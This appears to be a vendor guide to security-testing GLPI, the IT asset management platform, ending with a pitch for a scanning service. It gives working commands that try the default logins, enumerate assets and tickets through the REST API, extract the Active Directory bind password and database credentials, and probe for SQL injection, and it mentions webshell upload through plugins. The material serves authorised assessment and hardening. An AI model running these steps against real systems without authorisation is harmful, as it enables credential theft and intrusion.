GLPI Security Testing: Default Credentials, API Token, Asset Management, SQL Injection, and LDAP

GLPI (Gestionnaire Libre de Parc Informatique) is the most widely deployed open-source IT asset management and service desk platform, with over 300,000 installations worldwide spanning enterprises, educational institutions, and government organizations. As an ITSM platform, GLPI holds significant security-relevant data: the complete hardware and software asset inventory, all helpdesk tickets including incident details, user contact information, and LDAP configuration with Active Directory bind credentials. Critical assessment points: GLPI ships with four default accounts (glpi/glpi, tech/tech, normal/normal, post-only/postonly); historical GLPI versions have documented SQL injection vulnerabilities in search parameters; the REST API provides complete asset and ticket access; LDAP bind credentials are stored in the config_ldap database table; and GLPI's extensive plugin ecosystem introduces additional attack surface. This guide covers systematic GLPI security assessment.

Table of Contents

  1. Default Credentials and REST API Access
  2. Asset and Ticket Enumeration via API
  3. LDAP Credentials and SQL Injection
  4. GLPI Security Hardening

Default Credentials and REST API Access

# GLPI — default credentials (4 accounts shipped by default)
GLPI_URL="https://glpi.example.com"

# Default account matrix:
# glpi / glpi        — Superadmin (full administrative access)
# tech / tech        — Technician (most assets + tickets)
# normal / normal    — Normal user (limited access)
# post-only / postonly — Helpdesk user (submit tickets only)

# Test glpi/glpi superadmin via REST API
API_SESSION=$(curl -s "${GLPI_URL}/apirest.php/initSession" \
  -H "Content-Type: application/json" \
  --user "glpi:glpi" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('session_token',''))
" 2>/dev/null)

if [ -n "${API_SESSION}" ]; then
    echo "DEFAULT CREDENTIALS VALID: glpi/glpi"
    echo "Session token: ${API_SESSION:0:30}..."
fi

# Alternatively generate API token for persistent access
# GLPI > My Account > API Tokens
curl -s "${GLPI_URL}/apirest.php/User" \
  -H "Session-Token: ${API_SESSION}" \
  -H "App-Token: your-app-token" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Users: {len(d)}')
for u in d[:10]:
    print(f'  [{u.get(\"id\")}] {u.get(\"name\")} email={u.get(\"email\")} profiles_id={u.get(\"profiles_id\")}')
" 2>/dev/null

Asset and Ticket Enumeration via API

# GLPI REST API — complete IT asset and ticket enumeration
GLPI_URL="https://glpi.example.com"
SESSION_TOKEN="your-glpi-session-token"
APP_TOKEN="your-app-token"

# Enumerate all computers — complete workstation/server inventory
curl -s "${GLPI_URL}/apirest.php/Computer?range=0-200&expand_dropdowns=true" \
  -H "Session-Token: ${SESSION_TOKEN}" \
  -H "App-Token: ${APP_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
assets=json.load(sys.stdin)
print(f'Computers: {len(assets)}')
for a in assets[:20]:
    print(f'  [{a.get(\"id\")}] {a.get(\"name\")} user={a.get(\"users_id_tech\")} os={a.get(\"operatingsystems_id\")} location={a.get(\"locations_id\")}')
    print(f'    Serial: {a.get(\"serial\")} manufacturer={a.get(\"manufacturers_id\")} model={a.get(\"computermodels_id\")}')
" 2>/dev/null

# Enumerate all tickets — incident intelligence
curl -s "${GLPI_URL}/apirest.php/Ticket?range=0-100&expand_dropdowns=true" \
  -H "Session-Token: ${SESSION_TOKEN}" \
  -H "App-Token: ${APP_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
tickets=json.load(sys.stdin)
print(f'Tickets: {len(tickets)}')
for t in tickets[:10]:
    print(f'  [{t.get(\"id\")}] {t.get(\"name\")} status={t.get(\"status\")} priority={t.get(\"priority\")}')
    print(f'    Content: {t.get(\"content\",\"\")[:100]}')
" 2>/dev/null

# Enumerate all network devices
curl -s "${GLPI_URL}/apirest.php/NetworkEquipment?range=0-100&expand_dropdowns=true" \
  -H "Session-Token: ${SESSION_TOKEN}" \
  -H "App-Token: ${APP_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
nets=json.load(sys.stdin)
print(f'Network equipment: {len(nets)}')
for n in nets:
    print(f'  {n.get(\"name\")} ip={n.get(\"ip\")} type={n.get(\"networkequipmenttypes_id\")}')
" 2>/dev/null

LDAP Credentials and SQL Injection

# GLPI LDAP credential extraction and SQL injection testing
GLPI_URL="https://glpi.example.com"

# LDAP bind credentials stored in MySQL config_ldap table
mysql -u glpi -p"DB_PASSWORD" glpi 2>/dev/null << 'EOF'
SELECT name, host, rootdn, rootdn_passwd, login_field, sync_field
FROM glpi_authldaps
WHERE is_active = 1;
EOF
# rootdn_passwd is the Active Directory bind password
# Often a service account with broad AD read access

# config.php — MySQL database credentials
grep -E "password|dbname|dbhost|dbuser" /var/www/html/glpi/config/config_db.php 2>/dev/null
# Contains: DB_PASSWORD for full GLPI database access

# SQL injection testing — GLPI search parameters (CVE-2022-35914 and related)
# GLPI's search functionality has had historical SQL injection vulnerabilities
# Test search parameter injection in itemtype search
curl -s "${GLPI_URL}/ajax/common.tabs.php?itemtype=Computer&id=1&forcetab=1" \
  -H "Cookie: PHPSESSID=valid-session-id" \
  --data "criteria[0][field]=1&criteria[0][searchtype]=contains&criteria[0][value]=test'" \
  2>/dev/null | grep -i "sql\|error\|warning" | head -5

# File upload via plugin installation (requires admin access)
# GLPI admin can install plugins, which can include PHP webshells
# /glpi/plugins/ directory is web-accessible
ls /var/www/html/glpi/plugins/ 2>/dev/null

GLPI Security Hardening

GLPI Security Hardening Checklist:
Security TestMethodRisk
Default glpi/glpi superadmin credentialsPOST /apirest.php/initSession with glpi:glpi basic auth — if valid, returns session token with full superadmin access to all assets, tickets, LDAP configuration, and plugin managementCritical
Active Directory bind password extractionMySQL query: SELECT rootdn_passwd FROM glpi_authldaps — LDAP service account password used for AD authentication; typically has broad AD read access to all user and group objects in the directoryCritical
SQL injection in search parametersAppend single quote to search criteria values — GLPI has had multiple SQL injection CVEs; successful injection enables database enumeration, credential extraction, and potentially OS command execution via MySQL INTO OUTFILE on vulnerable configurationsCritical (on unpatched versions)
Complete IT asset inventory enumerationGET /apirest.php/Computer — returns all workstations and servers with serial numbers, models, assigned users, and locations; combined with NetworkEquipment provides complete network device inventory for reconnaissanceHigh
Ticket content disclosureGET /apirest.php/Ticket — returns all helpdesk tickets including content fields that often contain credentials, system details, and sensitive incident information shared by users and techniciansHigh

Automate GLPI Security Testing

Ironimo tests GLPI deployments for all four default account credential combinations, REST API session token access and asset enumeration, Active Directory bind password extraction from config_ldap, SQL injection in search parameters and report generation, config_db.php database credential exposure, plugin webshell deployment capability, ticket content sensitive data disclosure, and App-Token security configuration review.

Start free scan